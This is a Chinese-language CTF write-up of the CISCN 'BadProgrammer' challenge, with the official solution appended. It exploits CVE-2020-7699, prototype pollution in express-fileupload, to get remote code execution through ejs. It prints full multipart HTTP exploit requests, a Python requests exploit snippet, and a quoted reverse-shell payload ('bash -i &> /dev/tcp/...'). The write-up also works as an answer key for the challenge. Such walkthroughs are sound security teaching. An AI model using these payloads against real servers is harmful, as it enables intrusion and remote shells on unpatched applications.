[CISCN] BadProgrammer题解
[CISCN] BadProgrammer
页面很长,有很多的按钮,但是点了之后都没反应
查看源码、扫描
打开到具体目录
一个个目录点开看,在static/下找到了一个flag.ejs文件
下载,打开
可是两个目录下的文件夹中都没有flag.txt,得想办法找到读取出来
路由文件app.js 中提到了 flag.ejs
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});
百度一下,发现是一个中间件
搜索这个中间件的漏洞,存在着CVE漏洞
CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户
CVE-2020-7699:NodeJS模块代码注入
该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true
该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的
npm i express-fileupload@1.1.7-alpha.4
而且和题目中的版本一致,大概就是这个中间件的漏洞
参照CVE漏洞的payload
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 339
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
123
-----------------------------1546646991721295948201928333--
通过req.body返回的是
{ username : '123' }
我们将上面的username改为
__proto__.outputFunctionName
123的值改为:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
所以本题的payload修改为
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
同时也需要构造一个POST请求
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 245
Content-Type: multipart/form-data; boundary=f9ad5c42ff3d78f5b5d3aa7539dc1354
--f9ad5c42ff3d78f5b5d3aa7539dc1354
Content-Disposition: form-data; name="__proto__.outputFunctionName"
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
--f9ad5c42ff3d78f5b5d3aa7539dc1354--
在原来的基础上把GET 请求换成了POST
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850
后面的就是抓包的信息,原封不动地cv过来
再加上关键信息
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:65379
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 289
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
-----------------------------1546646991721295948201928333--
这里的内容不能删、加空行,试了很多次,有时候随便删、加空行后就执行不了
还有这里的boundary是在使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符
进入目录得到flag
--------------------------------------------------------------------------------官方wp---------------------------------------------------------------------------
step1 nginx配置错误导致源码泄露
观察源码发现静态文件存放在/static/
目录下 :
<head>
<title>Semantic UI</title>
<link rel="stylesheet" type="text/css" href="/static/css/semantic.min.css">
<script
src="/static/js/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
crossorigin="anonymous"></script>
<script src="/static/js/semantic.min.js"></script>
</head>
观察请求response header发现是nginx服务器加express框架:
Connection: keep-alive
Content-Length: 20175
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Sep 2020 08:15:26 GMT
ETag: W/"4ecf-BRB1SRFii1kA+OilogiQ1K0hP8U"
Server: nginx
X-Powered-By: Express
利用nginx配置错误,可以列目录:
此时可以得到app.js源码:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});
step2 express-fileupload原型链污染漏洞
查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。
{
"name": "app",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"app": "node /app/app.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "1.1.7-alpha.4"
}
}
step3 配合ejs模板引擎进行RCE
通过污染ejs中outputFunctionName变量,实现RCE:
resp1 = requests.post("http://{}:{}/{}".format(HOST, PORT, PATH),
files={'__proto__.outputFunctionName':
(
None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd=cmd)
)})
step4 拷贝flag
flag在/flag.txt
,需要通过命令执行将其拷贝到可访问到的位置。
观察package.json中,可知服务路径为/app
所以我们只需通过RCE执行
cp /flag.txt /app/static/js/flag.txt
再访问http://IP:PORT/static/js/flag.txt
即可得到flag。